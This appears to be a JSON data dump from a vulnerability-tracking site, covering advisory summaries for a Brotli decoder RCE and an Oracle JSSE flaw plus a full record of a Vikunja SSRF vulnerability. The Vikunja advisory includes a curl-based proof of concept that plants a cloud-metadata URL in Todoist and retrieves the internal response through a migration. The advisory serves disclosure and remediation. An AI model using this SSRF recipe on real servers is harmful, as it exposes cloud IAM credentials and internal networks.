[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-33675":30,"landing-articles":85},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":53,"references":56,"score":62,"epss_score":63,"epss_percentile":64,"is_kev":65,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":66,"attack_mappings":76,"exploits":83},17313,"CVE-2026-33675","EUVD-2026-14916","Vikunja has SSRF via Todoist\u002FTrello Migration File Attachment URLs that Allows Reading Internal Network Resources\n\n## Summary\n\nThe migration helper functions `DownloadFile` and `DownloadFileWithHeaders` in `pkg\u002Fmodules\u002Fmigration\u002Fhelpers.go` make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment.\n\n## Details\n\nThe vulnerability exists because the migration HTTP client uses a plain `http.Client{}` with no URL validation, no private IP blocklist, no redirect restrictions, and no response size limit.\n\n**Vulnerable code** in `pkg\u002Fmodules\u002Fmigration\u002Fhelpers.go:38-59`:\n```go\nfunc DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {\n\treq, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t\u002F\u002F ... headers added ...\n\thc := http.Client{}\n\tresp, err := hc.Do(req)\n\t\u002F\u002F ... no URL validation, no IP filtering ...\n\tbuf = &bytes.Buffer{}\n\t_, err = buf.ReadFrom(resp.Body) \u002F\u002F no size limit\n\treturn\n}\n```\n\n**Call site in Todoist migration** (`pkg\u002Fmodules\u002Fmigration\u002Ftodoist\u002Ftodoist.go:433-435`):\n```go\nif len(n.FileAttachment.FileURL) > 0 {\n\tbuf, err := migration.DownloadFile(n.FileAttachment.FileURL)\n```\n\nThe `FileURL` is deserialized directly from the Todoist Sync API response (`json:\"file_url\"` tag at line 125) with no validation.\n\n**Call sites in Trello migration** (`pkg\u002Fmodules\u002Fmigration\u002Ftrello\u002Ftrello.go`):\n- Line 263: `migration.DownloadFile(board.Prefs.BackgroundImage)` — board background\n- Line 345: `migration.DownloadFileWithHeaders(attachment.URL, ...)` — card attachments\n- Line 381: `migration.DownloadFile(cover.URL)` — card cover images\n\nNotably, the webhooks module in the same codebase was recently patched (commit `8d9bc3e`) to add SSRF protection using the `daenney\u002Fssrf` library, but this protection was **not applied** to the migration module — making this an incomplete fix.\n\n**Attack flow:**\n1. Attacker creates a Todoist account\n2. Using the Todoist Sync API, attacker creates a note with `file_attachment.file_url` set to an internal URL (e.g., `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F`)\n3. Attacker authenticates to the target Vikunja instance and initiates a Todoist migration\n4. Vikunja's server fetches the internal URL and stores the response body as a task attachment\n5. Attacker downloads the attachment through the normal Vikunja API, reading the internal resource contents\n\n## PoC\n\n**Prerequisites:**\n- Vikunja instance with Todoist migration enabled (admin has configured OAuth client ID\u002Fsecret)\n- Authenticated Vikunja user account\n- Todoist account controlled by the attacker\n\n**Step 1: Craft malicious Todoist data**\n\nUsing the Todoist Sync API, create a note with an internal URL as the file attachment:\n\n```bash\ncurl -X POST \"https:\u002F\u002Fapi.todoist.com\u002Fsync\u002Fv9\u002Fsync\" \\\n  -H \"Authorization: Bearer $TODOIST_TOKEN\" \\\n  -d 'commands=[{\n    \"type\": \"note_add\",\n    \"temp_id\": \"ssrf-test-1\",\n    \"uuid\": \"550e8400-e29b-41d4-a716-446655440001\",\n    \"args\": {\n      \"item_id\": \"'$ITEM_ID'\",\n      \"content\": \"test note\",\n      \"file_attachment\": {\n        \"file_name\": \"metadata.txt\",\n        \"file_size\": 1,\n        \"file_type\": \"text\u002Fplain\",\n        \"file_url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"\n      }\n    }\n  }]'\n```\n\n**Step 2: Trigger migration on Vikunja**\n\n```bash\n# Authenticate to Vikunja\nTOKEN=$(curl -s -X POST \"https:\u002F\u002Fvikunja.example.com\u002Fapi\u002Fv1\u002Flogin\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"attacker\",\"password\":\"password\"}' | jq -r .token)\n\n# Initiate Todoist OAuth flow\ncurl -s \"https:\u002F\u002Fvikunja.example.com\u002Fapi\u002Fv1\u002Fmigration\u002Ftodoist\u002Fauth\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# After OAuth callback, trigger the migration\ncurl -s -X POST \"https:\u002F\u002Fvikunja.example.com\u002Fapi\u002Fv1\u002Fmigration\u002Ftodoist\u002Fmigrate\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"code\":\"\u003Coauth_code>\"}'\n```\n\n**Step 3: Download the attachment containing internal data**\n\n```bash\n# List tasks to find the attachment ID\ncurl -s \"https:\u002F\u002Fvikunja.example.com\u002Fapi\u002Fv1\u002Fprojects\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# Download the attachment (contains response from internal URL)\ncurl -s \"https:\u002F\u002Fvikunja.example.com\u002Fapi\u002Fv1\u002Ftasks\u002F\u003Ctask_id>\u002Fattachments\u002F\u003Cattachment_id>\" \\\n  -H \"Authorization: Bearer $TOKEN\" -o metadata.txt\n\ncat metadata.txt\n# Expected: cloud instance metadata, internal service responses, etc.\n```\n\n## Impact\n\nAn authenticated attacker can:\n\n- **Read cloud instance metadata**: Access `http:\u002F\u002F169.254.169.254\u002F` to retrieve IAM credentials, instance identity, and configuration data on AWS\u002FGCP\u002FAzure deployments\n- **Probe internal network services**: Map internal infrastructure by making requests to RFC1918 addresses (10.x, 172.16.x, 192.168.x)\n- **Access internal APIs**: Reach internal services that trust requests from the Vikunja server's network position\n- **Denial of service**: Since `buf.ReadFrom(resp.Body)` has no size limit, pointing to a large or streaming resource causes unbounded memory allocation on the Vikunja server\n\nThe attack requires the target Vikunja instance to have Todoist or Trello migration enabled (requires admin configuration of OAuth credentials), but this is a standard deployment configuration.\n\n## Recommended Fix\n\nApply the same SSRF protection already used for webhooks (`daenney\u002Fssrf`) to the migration HTTP clients. In `pkg\u002Fmodules\u002Fmigration\u002Fhelpers.go`:\n\n```go\nimport (\n    \"github.com\u002Fdaenney\u002Fssrf\"\n    \"code.vikunja.io\u002Fapi\u002Fpkg\u002Fconfig\"\n)\n\nfunc safeMigrationClient() *http.Client {\n    s, _ := ssrf.New(ssrf.WithAnyPort())\n    return &http.Client{\n        Transport: &http.Transport{\n            DialContext: (&net.Dialer{\n                Control: s.Safe,\n            }).DialContext,\n        },\n    }\n}\n\nfunc DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {\n    req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)\n    if err != nil {\n        return nil, err\n    }\n    for key, h := range headers {\n        for _, hh := range h {\n            req.Header.Add(key, hh)\n        }\n    }\n\n    hc := safeMigrationClient()\n    resp, err := hc.Do(req)\n    if err != nil {\n        return nil, err\n    }\n    defer resp.Body.Close()\n\n    \u002F\u002F Limit response body to 100MB to prevent memory exhaustion\n    buf = &bytes.Buffer{}\n    _, err = buf.ReadFrom(io.LimitReader(resp.Body, 100*1024*1024))\n    return\n}\n```\n\nApply the same pattern to `DoGetWithHeaders` and `DoPostWithHeaders` in the same file.","2026-03-25T21:14:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":45,"privilegesRequired":45,"confidentialityImpact":45},"CHANGED","3.1",6.4,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:N\u002FA:L","NONE","LOW",true,[48],"CWE-918",[50,51,52],"cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*","cpe:2.3:a:code.vikunja.io:api:*:*:*:*:*:*:*:*","cpe:2.3:a:code.vikunja.io:api:2.2.0:*:*:*:*:*:*:*",[54,55],"Vikunja Vikunja","Code.Vikunja.Io Api",[57,58,59,60,61],"https:\u002F\u002Fgithub.com\u002Fgo-vikunja\u002Fvikunja\u002Fcommit\u002F93297742236e3d33af72c993e5da960db01d259e","https:\u002F\u002Fgithub.com\u002Fgo-vikunja\u002Fvikunja\u002Fsecurity\u002Fadvisories\u002FGHSA-g66v-54v9-52pr","https:\u002F\u002Fvikunja.io\u002Fchangelog\u002Fvikunja-v2.2.2-was-released","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-33675","https:\u002F\u002Fgithub.com\u002Fgo-vikunja\u002Fvikunja",0.67,0.00277,0.19929,false,{"timestamp":67,"automatable":68,"tech_impact":69,"exploitation":70,"cisa_decision":71,"cisa_remediation_timeline":75},"2026-03-24T18:07:14.596795Z","no","partial","poc",{"vector":72,"decision":73,"priority":74},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T03:05:56.937454\u002F","track_star","medium","60D",[77],{"name":78,"source":79,"tactics":80,"technique_id":82},"Exploit Public-Facing Application","attack_vector",[81],"initial-access","T1190",[84],{"link":58},{"count":86,"next":87,"previous":6,"results":88},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[89,97,105],{"id":90,"title":91,"summary":92,"published_at":93,"type":94,"link":95,"image_url":96},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":98,"title":99,"summary":100,"published_at":101,"type":102,"link":103,"image_url":104},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":106,"title":107,"summary":108,"published_at":109,"type":110,"link":111,"image_url":112},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]